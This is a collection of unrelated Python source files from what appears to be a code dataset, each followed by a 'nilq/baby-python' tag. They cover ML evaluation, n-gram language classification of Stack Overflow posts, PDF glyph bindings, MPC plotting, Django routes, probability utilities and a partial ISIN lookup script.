np.concatenate(val_seg_probs, axis=0) # seg2cls save_cf_png_dir = os.path.join(opt.logs, "cf", "extra_eval_seg_cf.png") save_metric_dir = os.path.join(opt.logs, "extra_eval_metric_seg.txt") result_str = get_results(val_gt, val_seg_pred, val_seg_probs, save_cf_png_dir, save_metric_dir) logger.info("tgt_seg_extra_val:[seg2cls]: %s" % (result_str)) if opt.do_seg and opt.use_aux: val_seg_pred_au = np.concatenate(val_seg_pred_au, axis=0) val_seg_probs_au = np.concatenate(val_seg_probs_au, axis=0) # seg2cls save_cf_png_dir_au = os.path.join(opt.logs, "cf", "extra_eval_seg_au_cf.png") save_metric_dir_au = os.path.join(opt.logs, "extra_eval_metric_seg_au.txt") result_str_au = get_results(val_gt, val_seg_pred_au, val_seg_probs_au, save_cf_png_dir_au, save_metric_dir_au) logger.info("tgt_seg_au_extra_val:[seg2cls]: %s" % (result_str_au)) time_elapsed = time.time() - since logger.info("Extra_Eval complete in {:.0f}m {:.0f}s".format(time_elapsed // 60, time_elapsed % 60)) def get_argument(): parser = argparse.ArgumentParser() parser.add_argument('--config', default="./cfgs/experiment.yaml", type=str) #parser.add_argument('--setseed', default=2020, type=int) parser.add_argument('--fold', default=0, type=int) parser.add_argument('--setgpuid', default=0, type=int) opt = parser.parse_args() with open(opt.config) as f: config = yaml.load(f) for k, v in config['common'].items(): setattr(opt, k, v) # repalce experiment opt.experiment = opt.experiment.replace("only", "mmd") opt.seg_augment = True opt.cls_augment = True opt.do_cls_mmd = True opt.do_seg = True opt.do_cls = True opt.do_seg_mmd = False opt.eval_cls_times = 50 opt.eval_times = 50 # opt.random_seed = opt.setseed opt.random_seed = 1010 * (opt.fold + 1) opt.gpuid = opt.setgpuid selected_drr_datasets_indexes = np.array(opt.selected_drr_datasets_indexes+opt.selected_drr_datasets_indexes) #print(selected_drr_datasets_indexes) # # [[0, 0, 0], [1, 0, 0], [0, 0, 1], [1, 0, 1]] print(selected_drr_datasets_indexes[-1][-1]) selected_drr_datasets_indexes[2][-1] = 1 selected_drr_datasets_indexes[3][-1] = 1 opt.selected_drr_datasets_indexes = [list(_) for _ in list(selected_drr_datasets_indexes)] log_dir = "./{}/{}/{}".format("logs_bk", opt.experiment, "fold%d"%opt.fold) if not os.path.exists(log_dir): os.makedirs(log_dir) opt.logs = log_dir return opt if __name__ == "__main__": opt = get_argument() os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" os.environ["CUDA_VISIBLE_DEVICES"] = "{}".format(opt.gpuid) setup_seed(opt.random_seed) assert opt.mode == 12, ("opt.mode is not supported in %s" % __file__) log_dir = opt.logs logger = setup_logger("{}".format(os.path.basename(__file__).split(".")[0]), save_dir=opt.logs, distributed_rank=0, filename="log_eval.txt") logger.info(opt) batch_size = opt.batch_size num_epochs = opt.num_epochs use_pretrained = True device_name = "cuda" if torch.cuda.is_available() else "cpu" device = torch.device(device_name) model_ft = SegClsModule(opt) train_dataset, tgt_cls_train_dataset, tgt_cls_val_dataset, tgt_lung_seg_val_dataset = genDataset(opt) tgt_cls_extra_val_dataset = genExtraForEvalDataset(opt) logger.info("-"*8+"train:"+"-"*8) logger.info(train_dataset.annotations) logger.info("-"*8+"tgt_cls_train:"+"-"*8) logger.info(tgt_cls_train_dataset.annotations) logger.info("-"*8+"tgt_cls_val:"+"-"*8) logger.info(tgt_cls_val_dataset.annotations) logger.info("-"*8+"tgt_cls_extra_val:"+"-"*8) logger.info(tgt_cls_extra_val_dataset.annotations) # logger.info("-"*8+"tgt_lung_seg_val:"+"-"*8) # logger.info(tgt_lung_seg_val_dataset.annotations) image_datasets = {'train': train_dataset, 'tgt_cls_train': tgt_cls_train_dataset, 'tgt_cls_val': tgt_cls_val_dataset, 'tgt_cls_extra_val': tgt_cls_extra_val_dataset, "tgt_lung_seg_val": tgt_lung_seg_val_dataset} shuffles = {"train": True,'tgt_cls_train': True, 'tgt_cls_val': False, 'tgt_cls_extra_val': False, "tgt_lung_seg_val": False} batch_sizes_dict = {"train": batch_size,'tgt_cls_train': batch_size, 'tgt_cls_val': 1, 'tgt_cls_extra_val': 1, "tgt_lung_seg_val": 1} drop_lasts = {"train": True,'tgt_cls_train': True, 'tgt_cls_val': False, 'tgt_cls_extra_val': False, "tgt_lung_seg_val": False} number_worker_dict = {"train": 4,'tgt_cls_train': 4, 'tgt_cls_val': 0, 'tgt_cls_extra_val': 0, "tgt_lung_seg_val": 0} dataloaders_dict = {x: torch.utils.data.DataLoader(image_datasets[x], batch_size=batch_sizes_dict[x], shuffle=shuffles[x], num_workers=number_worker_dict[x], drop_last=drop_lasts[x]) for x in ['train', 'tgt_cls_train', 'tgt_cls_val', 'tgt_cls_extra_val', "tgt_lung_seg_val"]} # Send the model to GPU weight_path = os.path.join(log_dir, "latest.pth") model_ft.load_state_dict(torch.load(weight_path)) model_ft = model_ft.to(device) model_ft.eval() #eval_model(model_ft, dataloaders_dict, log_dir=log_dir, logger=logger, opt=opt) extra_eval_model(model_ft, dataloaders_dict, log_dir=log_dir, logger=logger, opt=opt)
nilq/baby-python
python
# Author: Andrew Sainz # # Purpose: XMLAnalyze is designed to iterate through a collection of Post data collected from Stack Overflow # forums. Data collected to analyze the code tagged information to find the language of the code # being utilized. # # How to use: To run from command line input "python XMLAnalyze.py Posts.xml" import sys import re import os import nltk import operator from random import randint from nltk.util import ngrams from ngramFunctions import * from XMLParser import * from frequencyFunctions import * from lxml import etree def features(sentence): words = sentence.lower().split() return dict(('contains(%s)' %w, True) for w in words) if __name__ == '__main__': xmldoc = sys.argv[1] knownJava = sys.argv[2] knownCpp = sys.argv[3] ################################################################### # Section 1: Gather known data to create frequencies for known information ################################################################### knownJavaFile = open(knownJava) knownJavaString = "" for line in knownJavaFile: knownJavaString += line # knownJavaGram = ngramsFunction(knownJavaString, 3) knownJavaGram = ngrams(knownJavaString.split(' '),3)#ngramsFunction(knownJavaString, 3) knownJavaHashFreq = nltk.FreqDist(knownJavaGram) # javaMaxGram = max(knownJavaHashFreq, key=knownJavaHashFreq.get) # print(javaMaxGram, knownJavaHashFreq[javaMaxGram]) knownCPPFile = open(knownCpp) knownCPPString = "" for line in knownCPPFile: knownCPPString += line # print(knownCPPString) knownCPPGram = ngrams(knownCPPString.split(' '),3) knownCPPHashFreq = nltk.FreqDist(knownCPPGram) # cppMaxGram = max(knownCPPHashFreq, key=knownCPPHashFreq.get) # print(cppMaxGram, knownCPPHashFreq[cppMaxGram]) ############################################################################################# # Section 2: to calculate trigram Probability ############################################################################################# kneserJava = nltk.KneserNeyProbDist(knownJavaHashFreq) kneserCPP = nltk.KneserNeyProbDist(knownCPPHashFreq) kneserJavaHash = convertProbListToHash(kneserJava) kneserCPPHash = convertProbListToHash(kneserCPP) cpp = 0 java = 0 totalCppWithTag = 0 totalJavaWithTag = 0 totalJavaTags = 0 totalCppTags = 0 totalEval = 0 resultsFile = open('Results.txt', 'a') codeFile = open('Code.txt', 'a') analyticsFile = open('Analytics.txt', 'a') resultsFileString = codeFileString = analyticsString = '' presencePosCpp = presenceNegCpp = absencePosCpp = absenceNegCpp =0 presencePosJava = presenceNegJava = absencePosJava = absenceNegJava = 0 # tree = ET.parse(xmldoc) # root = tree.getroot() for event, element in etree.iterparse(xmldoc, tag="row"): body = element.get('Body') # Only allow posts with a code tag to be added if '<code>' in body: postId = element.get('Id') # Tags for comment post tags = element.get('Tags') if tags == None: continue tags.lower() # if not ('<java>' or 'c++' or '<c>' or '<c++-faq>' or '<android>' or '<spring>' or '<swing>' or '<pass-by-reference>' or '<eclipse>' or '<regex>' or '<recursion>' or '<binary-tree>' or '<software-engineering>' or '<divide-by-zero>' or '<arraylist>' or '<garbage-collection>' or '<object>' or '<arrays>' or '<iterator>' or '<hashcode>' or '<inheritance>' or '<tostring>' or '<unicode>' or '<quicksort>' or '<sorting>' or '<jar>' or '<bubble-sort>' or '<hashcode>' or '<multidimensional-array>' or '<codebase>' or '<class>') in tags: # continue # Skip if post contains tags from multiple languauges # if (('<c++>' or '<c++-faq>' or '<c>' in tags) and ('<java>' or '<android>' or '<spring>' or '<swing>' in tags)) : # continue code = parseBodyForTagCode(body) codeString = '' for item in code: snipetLength = len(item.split()) if snipetLength > 5: codeString = codeString+re.sub('<code>|</code>',' ',item) codeString = re.sub('\n|\r|/\s\s+/g}',' ',codeString) codeString = re.sub('\.', ' ', codeString) codeString = re.sub('\t', '',codeString) codeString = re.sub(re.compile("/\*.*?\*/",re.DOTALL ) ,"" ,codeString) codeString = re.sub(re.compile("//.*?\n" ) ,"" ,codeString) codeString = re.sub( '[^0-9a-zA-Z]+', ' ', codeString ) codeString = re.sub( '\s+', ' ', codeString).strip() codeFileString = codeFileString+codeString codeLength = len(codeString.split()) # print(codeLength) if(codeLength < 3): continue totalEval += 1# total posts not skipped # In some cases a post can include tags associated with more than one languauge if ('c++' or '<c++-faq>' or '<c>') in tags: totalCppTags += 1 if ('<java>' or '<android>' or '<spring>' or '<swing>') in tags: totalJavaTags += 1 # print(codeString) codeList = ngrams(codeString.split(' '),5) codeGram = nltk.FreqDist(codeList) for gram in codeGram: cppValue = kneserCPPHash.get(str(gram)) javaValue = kneserJavaHash.get(str(gram)) if cppValue != None and javaValue != None: # Compare to the frequency values if cppValue > javaValue: cpp += 1 else: java += 1 # if there is a hit for either one then add to hit value elif cppValue == None and javaValue != None: java += 1 elif cppValue != None and javaValue == None: cpp += 1 # if hit values are the same make a guess on language if java == cpp: ran = randint(0,1) if(ran == 0): java += 1 else: cpp += 1 # Done looking for gram hit values ################################# # fix absence ################################# # if java == 0 and ('<java>' or '<android>' or '<spring>' or '<swing>') in tags: # absenceNegJava += 1 # if cpp == 0 and ('c++' or '<c++-faq>' or '<c>') in tags: # absenceNegCpp += 1 # if java > cpp and not ('java' or '<android>' or '<spring>' or '<swing>') in tags: # print('absence is true') # absencePosJava += 1 # if cpp > java and not ('c++' or '<c++-faq>' or '<c>') in tags: # absencePosCpp += 1 ################################# # if no values where hit then move on to next post row # if java == 0 and cpp == 0: # continue determinedCpp = determinedJava = False resultsFileString = resultsFileString+'Grams assigned as followed:\n' resultsFileString = resultsFileString+'PostId: {}\nC++: {} Java: {}\nCode: {} \n'.format(postId,cpp,java,codeString) if cpp > java: resultsFileString = resultsFileString+'Snippet determined to be C++\nTags include {}\n\n'.format(tags) determinedCpp = True # if ('c++' or '<c++-faq>' or '<c>') in tags: # totalCppWithTag += 1 elif java > cpp: resultsFileString = resultsFileString+'Snippet determined to be Java\nTags include {}\n\n'.format(tags) determinedJava = True # if ('<java>' or '<android>' or '<spring>' or '<swing>') in tags: # totalJavaWithTag += 1 # analyze results if determinedCpp == True and ('c++' or '<c++-faq>' or '<c>') in tags: presencePosCpp += 1 if determinedCpp == False and ('c++' or '<c++-faq>' or '<c>') in tags: presenceNegCpp += 1 if determinedCpp == True and not('c++' or '<c++-faq>' or '<c>') in tags: absencePosCpp += 1 if determinedCpp == False and not('c++' or '<c++-faq>' or '<c>') in tags: absenceNegCpp += 1 if determinedJava == True and ('<java>' or '<android>' or '<spring>' or '<swing>') in tags: presencePosJava += 1 if determinedJava == False and ('<java>' or '<android>' or '<spring>' or '<swing>') in tags: presenceNegJava += 1 if determinedJava == True and not('<java>' or '<android>' or '<spring>' or '<swing>') in tags: absencePosJava += 1 if determinedJava == False and not('<java>' or '<android>' or '<spring>' or '<swing>') in tags: absenceNegJava += 1 # if ('c++' or '<c++-faq>' or '<c>') in tags: # # presence is true # if cpp > java: # # positive is true # # true positive # presencePosCpp += 1 # else: # # false negative # presenceNegCpp += 1 # # elif cpp > java: # # # been determined cpp but no cpp tags # # # incorectly determined # # # false positive # # absencePosCpp += 1 # # else: # # # determined not to be cpp correctly # # # true negative # # absenceNegCpp += 1 # if ('<java>' or '<android>' or '<spring>' or '<swing>') in tags: # # presence is true # if java > cpp: # presencePosJava += 1 # else: # presenceNegJava += 1 # # elif java > cpp: # absencePosJava += 1 # else: # absenceNegJava += 1 java = 0 cpp = 0 element.clear() for ancestor in element.xpath('ancestor-or-self::*'): while ancestor.getprevious() is not None: del ancestor.getparent()[0] javaSensitivity = presencePosJava / (presencePosJava+presenceNegJava) javaSpecificity = absenceNegJava / (absenceNegJava+absencePosJava) javaRateFalsePos = absencePosJava / (absencePosJava+absenceNegJava) javaRateFalseNeg = presenceNegJava / (presenceNegJava+presencePosJava) javaPosPredict = presencePosJava / (presencePosJava+ absencePosJava) javaNegPredict = presenceNegJava / (presenceNegJava+ absenceNegJava) javaRelativeRisk = (presencePosJava/ (presencePosJava + presenceNegJava)) / (absencePosJava / (absencePosJava + absenceNegJava)) cppSensitivity = presencePosCpp / (presencePosCpp+presenceNegCpp) cppSpecificity = absenceNegCpp / (absenceNegCpp+absencePosCpp) cppRateFalsePos = absencePosCpp / (absencePosCpp+absenceNegCpp) cppRateFalseNeg = presenceNegCpp / (presenceNegCpp+presencePosCpp) cppPosPredict = presencePosCpp / (presencePosCpp+ absencePosCpp) cppNegPredict = presenceNegCpp / (presenceNegCpp+absenceNegCpp) cppRelativeRisk = (presencePosCpp/ (presencePosCpp + presenceNegCpp)) / (absencePosCpp / (absencePosCpp + absenceNegCpp)) analyticsString = 'Java\n------\nTrue Positive: {}\nFalse Negative: {}\nFalse Positive: {}\nTrue Negative: {}'.format(presencePosJava,presenceNegJava,absencePosJava,absenceNegJava) analyticsString += '\nSensitivity: {}\nSpecificity: {}'.format(javaSensitivity, javaSpecificity) analyticsString += '\nRate False Positives: {}\nRate False Negatives: {}'.format(javaRateFalsePos, javaRateFalseNeg) analyticsString += '\nEstimate Positive Predictive Value: {}\nEstimate Negative Predictive Value: {}'.format(javaPosPredict, javaNegPredict) analyticsString += '\nRelative Risk: {}'.format(javaRelativeRisk) analyticsString += '\n\nC++\n------\nTrue Positive: {}\nFalse Negative: {}\nFalse Positive: {}\nTrue Negative: {}'.format(presencePosCpp,presenceNegCpp,absencePosCpp,absenceNegCpp) analyticsString += '\nSensitivity: {}\nSpecificity: {}'.format(cppSensitivity, cppSpecificity) analyticsString += '\nRate False Positives: {}\nRate False Negatives: {}'.format(cppRateFalsePos, cppRateFalseNeg) analyticsString += '\nEstimate Positive Predictive Value: {}\nEstimate Negative Predictive Value: {}'.format(cppPosPredict, cppNegPredict) analyticsString += '\nRelative Risk: {}'.format(cppRelativeRisk) ############################################################################################# # Section Output ############################################################################################# resultsFile.write(resultsFileString) codeFile.write(codeFileString) analyticsFile.write(analyticsString) # print('Total Java snippets determined and also have tags (java, android, spring, swing): {}'.format(totalJavaWithTag)) # print('Total Java snippets: {}'.format(totalJavaTags)) # print('Total C++ snippets determined and also have tags (c++, c++-faq, c): {}'.format(totalCppWithTag)) # print('Total C++ snippets: {}'.format(totalCppTags)) # print('Total snippets evaluated: {}'.format(totalEval))
nilq/baby-python
python
from .bindings import so, FPDF_PATH_POINT, FPDF_RECT from ctypes import pointer class Glyph: '''Represents Glyph drawing instructions''' LINETO = 0 #: LineTo instruction CURVETO = 1 #: CurveTo instruction MOVETO = 2 #: MoveTo instruction def __init__(self, glyph, parent): self._glyph = glyph self._parent = parent self._bounds = None def __len__(self): return so.REDGlyph_Size(self._glyph) def __iter__(self): for i in range(len(self)): yield self[i] def __getitem__(self, i): '''Returns a 4-tuple representing this drawing instruction: (x, y, type, close). Args: i (int): index of the instruction ''' point = FPDF_PATH_POINT() so.REDGlyph_Get(self._glyph, i, pointer(point)) return point.x, point.y, point.type, point.close # @memoize # def _bounds(self): # if len(self) == 0: # return None # coords = [(x, y) for x, y, _, _ in self] # xmin = min(x for x,_ in coords) # xmax = max(x for x,_ in coords) # ymin = min(y for _,y in coords) # ymax = max(y for _,y in coords) # return xmin, ymin, xmax, ymax def bounds(self): if self._bounds is None: rect = FPDF_RECT(0., 0., 0., 0.) so.REDGlyph_GetBounds(self._glyph, pointer(rect)) self._bounds = rect.left, rect.bottom, rect.right, rect.top return self._bounds @property def ascent(self): bounds = self.bounds() return max(0, bounds[3]) @property def descent(self): _, ymin, _, _ = self.bounds() return max(0, -ymin) @property def advance(self): _, _, xmax, _ = self.bounds() return max(0, xmax)
nilq/baby-python
python
n = int(raw_input()) comportadas = 0 children = [] for i in range(n): ent = map(str, raw_input().split()) children.append(ent[1]) if ent[0] == "+": comportadas += 1 children.sort() for child in children: print child print "Se comportaram: %d | Nao se comportaram: %d" % (comportadas, n - comportadas)
nilq/baby-python
python
import sys from mpc_func import * try: poses = load_poses(sys.argv[1]) except: print('Please use the right .csv file!') sparseness = 100 sparse_poses = poses[1::sparseness, 1:3] path = [148, 150, 151, 153, 154, 156, 158, 160, 162, 163] dt = 1 # [s] discrete time lr = 1.0 # [m] T = 6 # number of horizon max_speed = 5 min_speed = -5 speed_now = 1 theta = -1.5 path_poses = sparse_poses[path[:T+1], :] u, next_x, xstar, ustar = path_poses_to_input(path_poses, speed_now, theta, dt, lr, T, max_speed, min_speed) # plot the result plt.figure(figsize=(10,10)) plt.subplot(3, 1, 1) plt.plot(path_poses[0][0], path_poses[0][1], 'xb', label='current pose') plt.plot(next_x[0], next_x[1], 'xr', label='next pose given current control output') plt.plot(GetListFromMatrix(xstar.value[0, :]), GetListFromMatrix( xstar.value[1, :]), '-.', label='estimated trajectory given control outputs') plt.plot(path_poses[:T,0], path_poses[:T,1], label='reference trajectory') plt.axis("equal") plt.xlabel("x[m]") plt.ylabel("y[m]") plt.legend() plt.grid(True) plt.subplot(3, 1, 2) plt.cla() plt.plot(GetListFromMatrix(xstar.value[2, :]), '-b',label='linear velocity') plt.plot(GetListFromMatrix(xstar.value[3, :]), '-r',label='pose angle') #plt.ylim([-1.0, 1.0]) plt.ylabel("velocity[m/s]") plt.xlabel("horizon") plt.legend() plt.grid(True) plt.subplot(3, 1, 3) plt.cla() plt.plot(GetListFromMatrix(ustar.value[0, :]), '-r', label="acceleration") plt.plot(GetListFromMatrix(ustar.value[1, :]), '-b', label="beta") #plt.ylim([-0.5, 0.5]) plt.legend() plt.grid(True) plt.show()
nilq/baby-python
python
from django.urls import path, include from . import views urlpatterns = [ path('', views.index, name = 'index'), path('home/',views.home,name = 'home'), path('maps/',views.maps, name = 'maps'), path('maps/3dmap',views.mapsd, name = 'mapsd'), path('accounts/login/', views.loginpage , name = 'loginpage'), path('login/validate', views.loginvalidate , name = 'loginvalidate'), path('sponsors/', views.sponsors , name = 'sponsors'), path('team/', views.team , name = 'team'), path('gallery/', views.gallery, name = 'gallery'), path('social/', views.social, name = 'social'), path('events/', views.events , name = 'events'), path('signup/', views.signup , name = 'signup'), ]
nilq/baby-python
python
import os import sys import unittest if __name__ == "__main__": # add the path to be execute in the main directory sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.realpath(__file__)))) testmodules = [ 'tests.test_nsga2', #'pymoo.usage.test_usage' ] suite = unittest.TestSuite() for t in testmodules: suite.addTest(unittest.defaultTestLoader.loadTestsFromName(t)) unittest.TextTestRunner().run(suite)
nilq/baby-python
python
import logging import os from peek_plugin_base.PeekVortexUtil import peekStorageName logger = logging.getLogger(__name__) class StorageTestMixin: def __init__(self): self._dbConn = None def setUp(self) -> None: from peek_storage._private.storage import setupDbConn from peek_storage._private.storage.DeclarativeBase import metadata import peek_storage from peek_plugin_base.storage.DbConnection import DbConnection from peek_storage._private.service.PeekStorageConfig import PeekStorageConfig from peek_platform import PeekPlatformConfig PeekPlatformConfig.componentName = peekStorageName config = PeekStorageConfig() alembicDir = os.path.join( os.path.dirname(peek_storage._private.__file__), "alembic") self._dbConn = DbConnection(dbConnectString=config.dbConnectString, metadata=metadata, alembicDir=alembicDir, dbEngineArgs=config.dbEngineArgs, enableCreateAll=False, enableForeignKeys=False) self._dbConn.migrate() def tearDown(self) -> None: self._dbConn.closeAllSessions()
nilq/baby-python
python
# -*- coding: utf-8 -*- """ 654. Maximum Binary Tree Given an integer array with no duplicates. A maximum tree building on this array is defined as follow: The root is the maximum number in the array. The left subtree is the maximum tree constructed from left part subarray divided by the maximum number. The right subtree is the maximum tree constructed from right part subarray divided by the maximum number. Construct the maximum tree by the given array and output the root node of this tree. """ # Definition for a binary tree node. class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right class Solution: def constructMaximumBinaryTree(self, nums) -> TreeNode: if not nums: return None max_val = nums[0] max_ind = 0 for ind, val in enumerate(nums): if val > max_val: max_ind = ind max_val = val l_node = self.constructMaximumBinaryTree(nums[:max_ind]) r_node = self.constructMaximumBinaryTree(nums[max_ind + 1:]) root = TreeNode(val=max_val, left=l_node, right=r_node) return root
nilq/baby-python
python
import torch import math import numpy as np from torch.distributions.multivariate_normal import MultivariateNormal from spirl.utils.pytorch_utils import ten2ar from spirl.utils.general_utils import batch_apply class Gaussian: """ Represents a gaussian distribution """ # TODO: implement a dict conversion function def __init__(self, mu, log_sigma=None): """ :param mu: :param log_sigma: If none, mu is divided into two chunks, mu and log_sigma """ if log_sigma is None: if not isinstance(mu, torch.Tensor): import pdb; pdb.set_trace() mu, log_sigma = torch.chunk(mu, 2, -1) self.mu = mu self.log_sigma = torch.clamp(log_sigma, min=-10, max=2) if isinstance(log_sigma, torch.Tensor) else \ np.clip(log_sigma, a_min=-10, a_max=2) self._sigma = None def sample(self): return self.mu + self.sigma * torch.randn_like(self.sigma) def kl_divergence(self, other): """Here self=q and other=p and we compute KL(q, p)""" return (other.log_sigma - self.log_sigma) + (self.sigma ** 2 + (self.mu - other.mu) ** 2) \ / (2 * other.sigma ** 2) - 0.5 def nll(self, x): # Negative log likelihood (probability) return -1 * self.log_prob(x) def log_prob(self, val): """Computes the log-probability of a value under the Gaussian distribution.""" return -1 * ((val - self.mu) ** 2) / (2 * self.sigma**2) - self.log_sigma - math.log(math.sqrt(2*math.pi)) def entropy(self): return 0.5 + 0.5 * math.log(2 * math.pi) + torch.log(self.sigma) @property def sigma(self): if self._sigma is None: self._sigma = self.log_sigma.exp() return self._sigma @property def shape(self): return self.mu.shape @staticmethod def stack(*argv, dim): return Gaussian._combine(torch.stack, *argv, dim=dim) @staticmethod def cat(*argv, dim): return Gaussian._combine(torch.cat, *argv, dim=dim) @staticmethod def _combine(fcn, *argv, dim): mu, log_sigma = [], [] for g in argv: mu.append(g.mu) log_sigma.append(g.log_sigma) mu = fcn(mu, dim) log_sigma = fcn(log_sigma, dim) return Gaussian(mu, log_sigma) def average(self, dists): """Fits single Gaussian to a list of Gaussians.""" mu_avg = torch.stack([d.mu for d in dists]).sum(0) / len(dists) sigma_avg = torch.stack([d.mu ** 2 + d.sigma ** 2 for d in dists]).sum(0) - mu_avg**2 return type(self)(mu_avg, torch.log(sigma_avg)) def chunk(self, *args, **kwargs): return [type(self)(chunk) for chunk in torch.chunk(self.tensor(), *args, **kwargs)] def view(self, shape): self.mu = self.mu.view(shape) self.log_sigma = self.log_sigma.view(shape) self._sigma = self.sigma.view(shape) return self def __getitem__(self, item): return Gaussian(self.mu[item], self.log_sigma[item]) def tensor(self): return torch.cat([self.mu, self.log_sigma], dim=-1) def rsample(self): """Identical to self.sample(), to conform with pytorch naming scheme.""" return self.sample() def detach(self): """Detaches internal variables. Returns detached Gaussian.""" return type(self)(self.mu.detach(), self.log_sigma.detach()) def to_numpy(self): """Convert internal variables to numpy arrays.""" return type(self)(ten2ar(self.mu), ten2ar(self.log_sigma)) class UnitGaussian(Gaussian): def __init__(self, size, device): mu = torch.zeros(size, device=device) log_sigma = torch.zeros(size, device=device) super().__init__(mu, log_sigma) class MultivariateGaussian(Gaussian): def log_prob(self, val): return super().log_prob(val).sum(-1) @staticmethod def stack(*argv, dim): return MultivariateGaussian(Gaussian.stack(*argv, dim=dim).tensor()) @staticmethod def cat(*argv, dim): return MultivariateGaussian(Gaussian.cat(*argv, dim=dim).tensor()) class MultivariateDiagNormal(MultivariateNormal): def __init__(self, loc, scale, *args, **kwargs): cov = torch.diag_embed(scale.pow(2)) super().__init__(loc, cov, *args, **kwargs) class SequentialGaussian_SharedPQ: """ stacks two Gaussians """ def __init__(self, g1, z1, g2): """ """ self.g1 = g1 self.g2 = g2 self.z1 = z1 assert z1.shape == g1.shape self.shared_dims = None # how many shape dimensions are shared self._update_shared_dims() def sample(self): """ sample z2 and concatentate with z1 :return: """ return torch.cat([self.z1, self.g2.sample()], dim=1) def kl_divergence(self, other): return self.g1.kl_divergence(other.g1) @property def shape(self): self._update_shared_dims() return self.g1.shape[:self.shared_dims] @property def mu(self): return self.g1.mu @staticmethod def stack(*argv, dim): return SequentialGaussian_SharedPQ._combine(torch.stack, *argv, dim=dim) @staticmethod def cat(*argv, dim): return SequentialGaussian_SharedPQ._combine(torch.cat, *argv, dim=dim) @staticmethod def _combine(fcn, *argv, dim): def fn_apply(inputs): mu, log_sigma = [], [] for g in inputs: mu.append(g.mu) log_sigma.append(g.log_sigma) mu = fcn(mu, dim) log_sigma = fcn(log_sigma, dim) return Gaussian(mu, log_sigma) g1_list = [a.g1 for a in argv] g2_list = [a.g2 for a in argv] z1_list = [a.z1 for a in argv] return SequentialGaussian_SharedPQ(fn_apply(g1_list), fcn(z1_list, dim=dim), fn_apply(g2_list)) def view(self, shape): # assume that this shape does not include the last dimensions self._update_shared_dims() self.g1 = self.g1.view(shape + list(self.g1.shape[self.shared_dims:])) self.g2 = self.g2.view(shape + list(self.g2.shape[self.shared_dims:])) self.z1 = self.z1.view(shape + list(self.z1.shape[self.shared_dims:])) return self def __getitem__(self, item): return SequentialGaussian_SharedPQ(self.g1[item], self.z1[item], self.g2[item]) def _update_shared_dims(self): shared_dims = 0 for i, j in zip(self.g1.shape, self.g2.shape): if i != j: break shared_dims += 1 assert shared_dims is not 0 # need at least one shared dim between the Gaussians self.shared_dims = shared_dims class ProbabilisticModel: def __init__(self): self._sample_prior = False def switch_to_prior(self): self._sample_prior = True def switch_to_inference(self): self._sample_prior = False def get_fixed_prior(tensor, bs=None, dim=None): if dim is not None: return Gaussian(tensor.new_zeros(bs, dim, 1, 1), tensor.new_zeros(bs, dim, 1, 1)) else: return Gaussian(torch.zeros_like(tensor.mu), torch.zeros_like(tensor.log_sigma)) def stack(inp, dim): if isinstance(inp[0], Gaussian): return Gaussian.stack(*inp, dim=dim) else: return torch.stack(inp, dim) def mc_kl_divergence(p, q, n_samples=1): """Computes monte-carlo estimate of KL divergence. n_samples: how many samples are used for the estimate.""" samples = [p.sample() for _ in range(n_samples)] return torch.stack([p.log_prob(x) - q.log_prob(x) for x in samples], dim=1).mean(dim=1) if __name__ == "__main__": d = [Gaussian(torch.tensor([1., 1]), torch.zeros(2)), Gaussian(torch.tensor([-1., -1]), torch.zeros(2))] d_avg = Gaussian.average(d) print(d_avg.mu, d_avg.sigma)
nilq/baby-python
python
#-*- coding: utf-8 -*- """ Use name to identify share isin by using fondout db and google """ """ 1. Lista pa okända shares vi vill söka isin på. 2. Traversera lista. 3. Kontrollera mot shares 4. Kontrollera mot share_company 5. Kontrollera mot shares LIKE från båda håll min chars 5 6. Kontrollera mot shares_company LIKE från båda håll min chars 5 7. Googla namn + isin. Jämför google resultat med det vi ev. hittat i databasen. Om vi väljer google res. på konflikt söker vi baklänges och ser om det resultatet finns i databasen. Olika resultatskoder skrivs ut i databasen. TODO: - Bryta ut parametrar för gränsvärden i variabler - Bryt ut lösenord och användarnamn till ENV_VAR """ import sys import mysql.connector from isingoogle import GoogleIsinSearch import argparse import time from random import randint import signal class FindIsin: def exit_procedure(self): print "Exiting script..." self.cnxUp.commit() self.cursorUp.close() self.cnxUp.close() self.cursor.close() self.connection.close() sys.exit(0) def signal_handler(self, signal, frame): print('You pressed Ctrl+C!') self.exit_procedure() def _execute_share_search_query(self, query, name): cursor = self.connection.cursor(buffered=True) try: cursor.execute(query, (name, )) except mysql.connector.errors.IntegrityError, e: print ('Find share by name exception:', e) if (cursor is not None): self.share = cursor.fetchone() else: self.share = None cursor.close() return self.share def _execute_share_search_query_get_all(self, query, name): cursor = self.connection.cursor(buffered=True) try: cursor.execute(query, (name, )) except mysql.connector.errors.IntegrityError, e: print ('Find all shares exception:', e) if (cursor is not None): self.share = cursor.fetchall() else: self.share = None cursor.close() return self.share def _find_by_share_exact_name(self, name): query = ("SELECT s.name, s.isin FROM share s " "WHERE s.name = (%s) " + self.QUERY_WHERE_AND + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def _find_by_share_exact_alias(self, name): query = ("SELECT sa.name, s.isin " "FROM share s " "JOIN share_alias sa on sa.share = s.id " "WHERE sa.name = (%s) " + self.QUERY_WHERE_AND + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def _find_by_share_company_exact_name(self, name): query = ("SELECT sc.name, s.isin " "FROM share_company sc " "JOIN share s on s.share_company = sc.id " "WHERE sc.name = (%s) " + self.QUERY_WHERE_AND + "GROUP BY sc.name " + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def _find_by_share_company_fuzzy_name(self, name): query = ("SELECT sc.name, s.isin " "FROM share_company sc " "JOIN share s on s.share_company = sc.id " "WHERE sc.name like CONCAT('%', %s, '%') " + self.QUERY_WHERE_AND + "GROUP BY sc.name " + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def _find_by_share_fuzzy_name(self, name): query = ("SELECT s.name, s.isin " "FROM share s " "WHERE s.name like CONCAT('%', %s, '%') " + self.QUERY_WHERE_AND + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def _find_by_share_reverse_fuzzy_name(self, name): query = ("SELECT s.name, s.isin " "FROM share s " "WHERE %s like CONCAT('%', s.name, '%') " "AND length(s.name) > 4 " + self.QUERY_WHERE_AND + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def _find_by_share_fuzzy_alias(self, name): query = ("SELECT sa.name, s.isin " 